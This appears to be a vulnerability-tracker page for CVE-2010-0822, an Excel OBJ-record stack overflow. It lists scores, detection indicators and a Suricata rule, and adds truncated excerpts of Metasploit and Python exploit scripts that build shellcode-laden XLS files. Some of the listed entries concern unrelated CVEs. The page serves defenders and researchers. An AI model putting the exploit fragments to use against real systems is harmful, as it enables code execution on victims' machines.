CVE-2010-0822
published 2010-06-08CVE-2010-0822: Stack-based buffer overflow in Microsoft Office Excel 2002 SP3, Office 2004 for Mac, Office 2008 for Mac, and Open XML File Format Converter for Mac allows…
PriorityP267critical9.3CVSS 2.0
AVNACMAuNCCICAC
EXPLOIT
EPSS
70.12%
99.3th percentile
Stack-based buffer overflow in Microsoft Office Excel 2002 SP3, Office 2004 for Mac, Office 2008 for Mac, and Open XML File Format Converter for Mac allows remote attackers to execute arbitrary code via an Excel file with a crafted OBJ (0x5D) record, aka "Excel Object Stack Overflow Vulnerability."
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | excel | — | — |
| microsoft | office | — | — |
| microsoft | office | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
d0cf11e0a1b11ae1
- →Trigger is a crafted OBJ record with recType 0x5D inside an XLS (OLE Compound Document) file; detect XLS files containing a malformed OBJ (0x5D) record as the exploit vector. ↗
- →The exploit file is a legacy .xls (BIFF/OLE2) format; the OLE2 magic bytes d0cf11e0a1b11ae1 at offset 0 identify the container format used by all known exploit samples. ↗
- →The ROP/return gadget used is 'call ecx' at offset 0x61a5 inside Excel.exe 10.0.6501.0 (SP3); presence of this address (0x300061a5) in memory or crash context indicates exploitation of this specific target. ↗
- →Exploit shellcode in the wild (MOAUB 24 PoC) targets Windows XP SP3 with Excel 2002 SP3; NOP sled (0x90 bytes) precedes shellcode payload in the crafted XLS stream, detectable via content inspection. ↗
- →The Metasploit module drops or serves a file named 'msf.xls' or 'CVE-2010-0822.xls'; alert on these filenames appearing in email attachments, web downloads, or filesystem writes. ↗
- ·The Metasploit module targets only Excel 2002 (Office XP) SP0 and SP3 on Windows XP SP3; hardcoded ROP addresses differ between SP0 (0x30006113) and SP3 (0x300061a5) and will not work against other patch levels. ↗
- ·Despite MS10-038 bulletin stating Office 2007 is not vulnerable, the standalone PoC (exploit-db 14361) claims it was tested against Office 2007 12.0.4518.1014 — defenders should not exclude Office 2007 from scope without independent verification. ↗
- ·All exploit samples are hardcoded for Windows XP SP3; the shellcode and ROP chain will not function on other OS versions without modification. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Suricata
GPL POP3 AUTH overflow attempt
suricata·2010-09-23
CVE-1999-0822 GPL POP3 AUTH overflow attempt
GPL POP3 AUTH overflow attempt
Rule: alert tcp $EXTERNAL_NET any -> $HOME_NET 110 (msg:"GPL POP3 AUTH overflow attempt"; flow:established,to_server; content:"AUTH"; nocase; isdataat:50,relative; pcre:"/^AUTH\s[^\n]{50}/smi"; reference:bugtraq,830; reference:cve,1999-0822; reference:nessus,10184; classtype:attempted-admin; sid:2101936; rev:10; metadata:created_at 2010_09_23, cve CVE_1999_0822, confidence Medium, signature_severity Major, updated_at 2024_03_08;)
Exploit-DB
Microsoft Excel - Malformed OBJ Record Handling Overflow (MS11-038) (Metasploit)
exploitdb·2011-11-22
CVE-2010-0822 Microsoft Excel - Malformed OBJ Record Handling Overflow (MS11-038) (Metasploit)
Microsoft Excel - Malformed OBJ Record Handling Overflow (MS11-038) (Metasploit)
---
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 "MS11-038 Microsoft Office Excel Malformed OBJ Record Handling Overflow",
'Description' => %q{
This module exploits a vulnerability found in Excel 2002 of Microsoft Office XP.
By supplying a .xls file with a malformed OBJ (recType 0x5D) record an attacker
can get the control of the excution flow. This results aribrary code execution under
the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nicolas
Exploit-DB
Microsoft Excel - OBJ Record Stack Overflow
exploitdb·2010-09-24·CVSS 9.3
CVE-2010-0822 [CRITICAL] Microsoft Excel - OBJ Record Stack Overflow
Microsoft Excel - OBJ Record Stack Overflow
---
'''
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ 800:
print "[*] Error : Shellcode length is long"
return
if len(shellcode) 0 :
shellcode += '\x90'
dif = dif - 1
fdW= open('exploit.xls', 'wb+')
fdW.write(str1)
fdW.write(shellcode)
fdW.write(str2)
fdW.close()
fdR.close()
print '[-] Excel file generated'
except IOError:
print '[*] Error : An IO error has occurred'
print '[-] Exiting ...'
sys.exit(-1)
if __name__ == '__main__':
main()
Exploit-DB
Microsoft IIS - ISAPI FrontPage 'fp30reg.dll' Chunked Overflow (MS03-051) (Metasploit)
exploitdb·2010-07-25
CVE-2003-0822 Microsoft IIS - ISAPI FrontPage 'fp30reg.dll' Chunked Overflow (MS03-051) (Metasploit)
Microsoft IIS - ISAPI FrontPage 'fp30reg.dll' Chunked Overflow (MS03-051) (Metasploit)
---
##
# $Id: ms03_051_fp30reg_chunked.rb 9929 2010-07-25 21:37:54Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 'Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow',
'Description' => %q{
This is an exploit for the chunked encoding buffer overflow
described in MS03-051 and originally reported by Brett
Moore. This particular modules works against versions of
Windows 2000 between SP0 and SP3. Service Pack 4 fixes the
issue.
},
'Author' =>
Exploit-DB
Microsoft Excel - 0x5D record Stack Overflow (MS10-038)
exploitdb·2010-07-14·CVSS 9.3
CVE-2010-0822 [CRITICAL] Microsoft Excel - 0x5D record Stack Overflow (MS10-038)
Microsoft Excel - 0x5D record Stack Overflow (MS10-038)
---
#This is an exploit for MS10-038/CVE-2010-0822
#Everything is hardcoded! (winxp sp3)
#webDEViL
#w3bd3vil[at]gmail[dot].com
#http://krash.in/excel1.xls
#Office 2007 - 12.0.4518.1014
#MS10-038 bulletin states that Office 2007 is not vulnerable, lol
import binascii
wD="d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000"
wD+="000000000000000000030000000100000000000000001000000200000004000000feff"
wD+="ffff00000000000000008000000000010000ffffffffffffffffffffffffffffffffff"
wD+="ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="fffffff
Metasploit
MS11-038 Microsoft Office Excel Malformed OBJ Record Handling Overflow
metasploit
MS11-038 Microsoft Office Excel Malformed OBJ Record Handling Overflow
MS11-038 Microsoft Office Excel Malformed OBJ Record Handling Overflow
This module exploits a vulnerability found in Excel 2002 of Microsoft Office XP. By supplying a .xls file with a malformed OBJ (recType 0x5D) record an attacker can get the control of the execution flow. This results in arbitrary code execution under the context of the user.
No writeups or analysis indexed.
http://osvdb.org/65236http://www.securityfocus.com/archive/1/511752/100/0/threadedhttp://www.securityfocus.com/bid/40520http://www.us-cert.gov/cas/techalerts/TA10-159B.htmlhttps://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-038https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A7265http://osvdb.org/65236http://www.securityfocus.com/archive/1/511752/100/0/threadedhttp://www.securityfocus.com/bid/40520http://www.us-cert.gov/cas/techalerts/TA10-159B.htmlhttps://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-038https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A7265
2010-06-08
Published